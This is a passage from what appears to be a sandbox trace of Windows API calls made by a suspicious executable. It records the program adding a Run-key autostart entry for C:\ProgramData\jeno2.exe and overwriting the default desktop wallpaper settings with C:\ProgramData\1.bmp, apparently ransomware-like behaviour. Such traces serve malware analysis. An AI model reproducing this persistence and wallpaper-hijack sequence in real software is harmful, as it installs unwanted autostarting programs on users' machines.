SysStringByteLen (bstr="体呆䅗䕒䵜捩潲潳瑦坜湩潤獷䍜牵敲瑮敖獲潩屮畒n") returned 0x2d [0175.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4f74, cbMultiByte=46, lpWideCharStr=0x1446d5c, cchWideChar=91 | out: lpWideCharStr="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 46 [0175.930] SysStringLen (param_1="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x1e [0175.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0175.930] SysStringLen (param_1="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x1e [0175.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui", cchWideChar=31, lpMultiByteStr=0x14b4f74, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\jeno2.exe\" -ui", lpUsedDefaultChar=0x0) returned 31 [0175.930] SysStringLen (param_1="BJCMQL") returned 0x6 [0175.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BJCMQL", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.930] SysStringLen (param_1="BJCMQL") returned 0x6 [0175.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BJCMQL", cchWideChar=7, lpMultiByteStr=0x1452454, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BJCMQL", lpUsedDefaultChar=0x0) returned 7 [0175.930] SetErrorMode (uMode=0x8001) returned 0x8001 [0175.930] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77710000 [0175.930] SetErrorMode (uMode=0x8001) returned 0x8001 [0175.930] GetProcAddress (hModule=0x77710000, lpProcName="RegSetValueExA") returned 0x777214b3 [0175.930] RegSetValueExA (in: hKey=0x724, lpValueName="BJCMQL", Reserved=0x0, dwType=0x1, lpData="\"C:\\ProgramData\\jeno2.exe\" -ui", cbData=0x1e | out: lpData="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x0 [0175.931] GetLastError () returned 0x0 [0175.932] SysStringByteLen (bstr="䩂䵃䱑") returned 0x6 [0175.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0175.932] SysStringByteLen (bstr="䩂䵃䱑") returned 0x6 [0175.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=7, lpWideCharStr=0x14f5b84, cchWideChar=13 | out: lpWideCharStr="BJCMQL") returned 7 [0175.932] SysStringByteLen (bstr="䌢尺牐杯慲䑭瑡屡敪潮⸲硥≥ⴠ極") returned 0x1e [0175.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4f74, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0175.932] SysStringByteLen (bstr="䌢尺牐杯慲䑭瑡屡敪潮⸲硥≥ⴠ極") returned 0x1e [0175.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4f74, cbMultiByte=31, lpWideCharStr=0x144265c, cchWideChar=61 | out: lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 31 [0175.932] SetErrorMode (uMode=0x8001) returned 0x8001 [0175.933] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77710000 [0175.933] SetErrorMode (uMode=0x8001) returned 0x8001 [0175.933] GetProcAddress (hModule=0x77710000, lpProcName="RegFlushKey") returned 0x7773773f [0175.933] RegFlushKey (hKey=0x724) returned 0x0 [0175.993] GetLastError () returned 0x0 [0175.993] SetErrorMode (uMode=0x8001) returned 0x8001 [0175.993] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77710000 [0175.994] SetErrorMode (uMode=0x8001) returned 0x8001 [0175.994] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0175.994] RegCloseKey (hKey=0x724) returned 0x0 [0175.994] GetLastError () returned 0x0 [0175.995] SysStringLen (param_1=" ") returned 0x104 [0175.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=260, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 260 [0175.995] SysStringLen (param_1=" ") returned 0x104 [0175.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=261, lpMultiByteStr=0x53ccd0c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 261 [0175.995] SetErrorMode (uMode=0x8001) returned 0x8001 [0175.995] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77710000 [0175.995] SetErrorMode (uMode=0x8001) returned 0x8001 [0175.996] GetProcAddress (hModule=0x77710000, lpProcName="RegEnumKeyA") returned 0x7773a299 [0175.996] RegEnumKeyA (in: hKey=0x80000003, dwIndex=0x0, lpName=0x53ccd0c, cchName=0x104 | out: lpName=".DEFAULT") returned 0x0 [0175.996] GetLastError () returned 0x0 [0175.996] SysStringByteLen (bstr="䐮䙅啁呌 †††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††") returned 0x104 [0175.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53ccd0c, cbMultiByte=260, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 260 [0175.996] SysStringByteLen (bstr="䐮䙅啁呌 †††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††") returned 0x104 [0175.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53ccd0c, cbMultiByte=261, lpWideCharStr=0x14e628c, cchWideChar=521 | out: lpWideCharStr=".DEFAULT") returned 261 [0175.996] SysStringLen (param_1=".DEFAULT\\Control Panel\\Desktop") returned 0x1e [0175.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".DEFAULT\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0175.997] SysStringLen (param_1=".DEFAULT\\Control Panel\\Desktop") returned 0x1e [0175.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".DEFAULT\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x14b4f74, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".DEFAULT\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0175.997] RegOpenKeyA (in: hKey=0x80000003, lpSubKey=".DEFAULT\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0175.997] GetLastError () returned 0x0 [0175.997] SysStringByteLen (bstr="䐮䙅啁呌䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0175.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4f74, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0175.997] SysStringByteLen (bstr="䐮䙅啁呌䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0175.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4f74, cbMultiByte=31, lpWideCharStr=0x144265c, cchWideChar=61 | out: lpWideCharStr=".DEFAULT\\Control Panel\\Desktop") returned 31 [0175.997] SysStringLen (param_1="0") returned 0x1 [0175.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0175.997] SysStringLen (param_1="0") returned 0x1 [0175.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=2, lpMultiByteStr=0x145246c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0", lpUsedDefaultChar=0x0) returned 2 [0175.997] SysStringLen (param_1="TileWallpaper") returned 0xd [0175.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TileWallpaper", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.998] SysStringLen (param_1="TileWallpaper") returned 0xd [0175.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TileWallpaper", cchWideChar=14, lpMultiByteStr=0x14f560c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TileWallpaper", lpUsedDefaultChar=0x0) returned 14 [0175.998] RegSetValueExA (in: hKey=0x720, lpValueName="TileWallpaper", Reserved=0x0, dwType=0x1, lpData="0", cbData=0x1 | out: lpData="0") returned 0x0 [0175.998] GetLastError () returned 0x0 [0175.998] SysStringByteLen (bstr="楔敬慗汬慰数r") returned 0xd [0175.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0175.998] SysStringByteLen (bstr="楔敬慗汬慰数r") returned 0xd [0175.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=14, lpWideCharStr=0x14f5e2c, cchWideChar=27 | out: lpWideCharStr="TileWallpaper") returned 14 [0175.998] SysStringByteLen (bstr="0") returned 0x1 [0175.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145246c, cbMultiByte=1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0175.998] SysStringByteLen (bstr="0") returned 0x1 [0175.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145246c, cbMultiByte=2, lpWideCharStr=0x1452454, cchWideChar=3 | out: lpWideCharStr="0") returned 2 [0175.999] RegFlushKey (hKey=0x720) returned 0x0 [0176.019] GetLastError () returned 0x0 [0176.019] RegCloseKey (hKey=0x720) returned 0x0 [0176.019] GetLastError () returned 0x0 [0176.020] SysStringLen (param_1=".DEFAULT\\Control Panel\\Desktop") returned 0x1e [0176.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".DEFAULT\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.020] SysStringLen (param_1=".DEFAULT\\Control Panel\\Desktop") returned 0x1e [0176.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".DEFAULT\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x1433584, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".DEFAULT\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0176.020] RegOpenKeyA (in: hKey=0x80000003, lpSubKey=".DEFAULT\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.020] GetLastError () returned 0x0 [0176.020] SysStringByteLen (bstr="䐮䙅啁呌䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1433584, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0176.020] SysStringByteLen (bstr="䐮䙅啁呌䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1433584, cbMultiByte=31, lpWideCharStr=0x1446d5c, cchWideChar=61 | out: lpWideCharStr=".DEFAULT\\Control Panel\\Desktop") returned 31 [0176.020] SysStringLen (param_1="10") returned 0x2 [0176.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="10", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0176.021] SysStringLen (param_1="10") returned 0x2 [0176.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="10", cchWideChar=3, lpMultiByteStr=0x145246c, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10", lpUsedDefaultChar=0x0) returned 3 [0176.021] SysStringLen (param_1="WallpaperStyle") returned 0xe [0176.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.021] SysStringLen (param_1="WallpaperStyle") returned 0xe [0176.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=15, lpMultiByteStr=0x14f5e2c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WallpaperStyle", lpUsedDefaultChar=0x0) returned 15 [0176.021] RegSetValueExA (in: hKey=0x720, lpValueName="WallpaperStyle", Reserved=0x0, dwType=0x1, lpData="10", cbData=0x2 | out: lpData="10") returned 0x0 [0176.021] GetLastError () returned 0x0 [0176.021] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0176.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0176.021] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0176.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=15, lpWideCharStr=0x1433584, cchWideChar=29 | out: lpWideCharStr="WallpaperStyle") returned 15 [0176.021] SysStringByteLen (bstr="〱") returned 0x2 [0176.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145246c, cbMultiByte=2, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0176.022] SysStringByteLen (bstr="〱") returned 0x2 [0176.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145246c, cbMultiByte=3, lpWideCharStr=0x14f560c, cchWideChar=5 | out: lpWideCharStr="10") returned 3 [0176.022] RegFlushKey (hKey=0x720) returned 0x0 [0176.037] GetLastError () returned 0x0 [0176.037] RegCloseKey (hKey=0x720) returned 0x0 [0176.037] GetLastError () returned 0x0 [0176.037] SysStringLen (param_1=".DEFAULT\\Control Panel\\Desktop") returned 0x1e [0176.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".DEFAULT\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.037] SysStringLen (param_1=".DEFAULT\\Control Panel\\Desktop") returned 0x1e [0176.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".DEFAULT\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x1433584, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".DEFAULT\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0176.037] RegOpenKeyA (in: hKey=0x80000003, lpSubKey=".DEFAULT\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.038] GetLastError () returned 0x0 [0176.038] SysStringByteLen (bstr="䐮䙅啁呌䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1433584, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0176.038] SysStringByteLen (bstr="䐮䙅啁呌䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1433584, cbMultiByte=31, lpWideCharStr=0x144265c, cchWideChar=61 | out: lpWideCharStr=".DEFAULT\\Control Panel\\Desktop") returned 31 [0176.038] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.038] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f560c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0176.038] SysStringLen (param_1="Wallpaper") returned 0x9 [0176.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.038] SysStringLen (param_1="Wallpaper") returned 0x9 [0176.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=10, lpMultiByteStr=0x145246c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wallpaper", lpUsedDefaultChar=0x0) returned 10 [0176.038] RegSetValueExA (in: hKey=0x720, lpValueName="Wallpaper", Reserved=0x0, dwType=0x1, lpData="C:\\ProgramData\\1.bmp", cbData=0x14 | out: lpData="C:\\ProgramData\\1.bmp") returned 0x0 [0176.039] GetLastError () returned 0x0 [0176.039] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0176.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145246c, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0176.039] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0176.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145246c, cbMultiByte=10, lpWideCharStr=0x14f5e2c, cchWideChar=19 | out: lpWideCharStr="Wallpaper") returned 10 [0176.065] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0176.065] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=21, lpWideCharStr=0x1433584, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0176.065] RegFlushKey (hKey=0x720) returned 0x0 [0176.079] GetLastError () returned 0x0 [0176.079] RegCloseKey (hKey=0x720) returned 0x0 [0176.079] GetLastError () returned 0x0 [0176.079] SysStringLen (param_1=".DEFAULT\\Control Panel\\Desktop") returned 0x1e [0176.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".DEFAULT\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.079] SysStringLen (param_1=".DEFAULT\\Control Panel\\Desktop") returned 0x1e [0176.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".DEFAULT\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x143353c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".DEFAULT\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0176.079] RegOpenKeyA (in: hKey=0x80000003, lpSubKey=".DEFAULT\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.079] GetLastError () returned 0x0 [0176.079] SysStringByteLen (bstr="䐮䙅啁呌䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x143353c, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0176.079] SysStringByteLen (bstr="䐮䙅啁呌䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x143353c, cbMultiByte=31, lpWideCharStr=0x1446d5c, cchWideChar=61 | out: lpWideCharStr=".DEFAULT\\Control Panel\\Desktop") returned 31 [0176.079] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.080] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f560c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0176.080] SysStringLen (param_1="OriginalWallpaper") returned 0x11 [0176.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OriginalWallpaper", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.080] SysStringLen (param_1="OriginalWallpaper") returned 0x11 [0176.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OriginalWallpaper", cchWideChar=18, lpMultiByteStr=0x14f5e2c, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OriginalWallpaper", lpUsedDefaultChar=0x0) returned 18 [0176.080] RegSetValueExA (in: hKey=0x720, lpValueName="OriginalWallpaper", Reserved=0x0, dwType=0x1, lpData="C:\\ProgramData\\1.bmp", cbData=0x14 | out: lpData="C:\\ProgramData\\1.bmp") returned 0x0 [0176.080] GetLastError () returned 0x0 [0176.080] SysStringByteLen (bstr="牏杩湩污慗汬慰数r") returned 0x11 [0176.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=17, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0176.080] SysStringByteLen (bstr="牏杩湩污慗汬慰数r") returned 0x11 [0176.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=18, lpWideCharStr=0x143353c, cchWideChar=35 | out: lpWideCharStr="OriginalWallpaper") returned 18 [0176.080] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0176.080] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=21, lpWideCharStr=0x1433584, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0176.080] RegFlushKey (hKey=0x720) returned 0x0 [0176.090] GetLastError () returned 0x0 [0176.090] RegCloseKey (hKey=0x720) returned 0x0 [0176.091] GetLastError () returned 0x0 [0176.091] SysStringLen (param_1=".DEFAULT\\Control Panel\\Desktop") returned 0x1e [0176.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".DEFAULT\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.091] SysStringLen (param_1=".DEFAULT\\Control Panel\\Desktop") returned 0x1e [0176.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".DEFAULT\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x14b4f74, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".DEFAULT\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0176.091] RegOpenKeyA (in: hKey=0x80000003, lpSubKey=".DEFAULT\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.091] GetLastError () returned 0x0 [0176.091] SysStringByteLen (bstr="䐮䙅啁呌䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4f74, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0176.091] SysStringByteLen (bstr="䐮䙅啁呌䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4f74, cbMultiByte=31, lpWideCharStr=0x144265c, cchWideChar=61 | out: lpWideCharStr=".DEFAULT\\Control Panel\\Desktop") returned 31 [0176.091] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.091] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f5e2c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0176.091] SysStringLen (param_1="ConvertedWallpaper") returned 0x12 [0176.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConvertedWallpaper", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 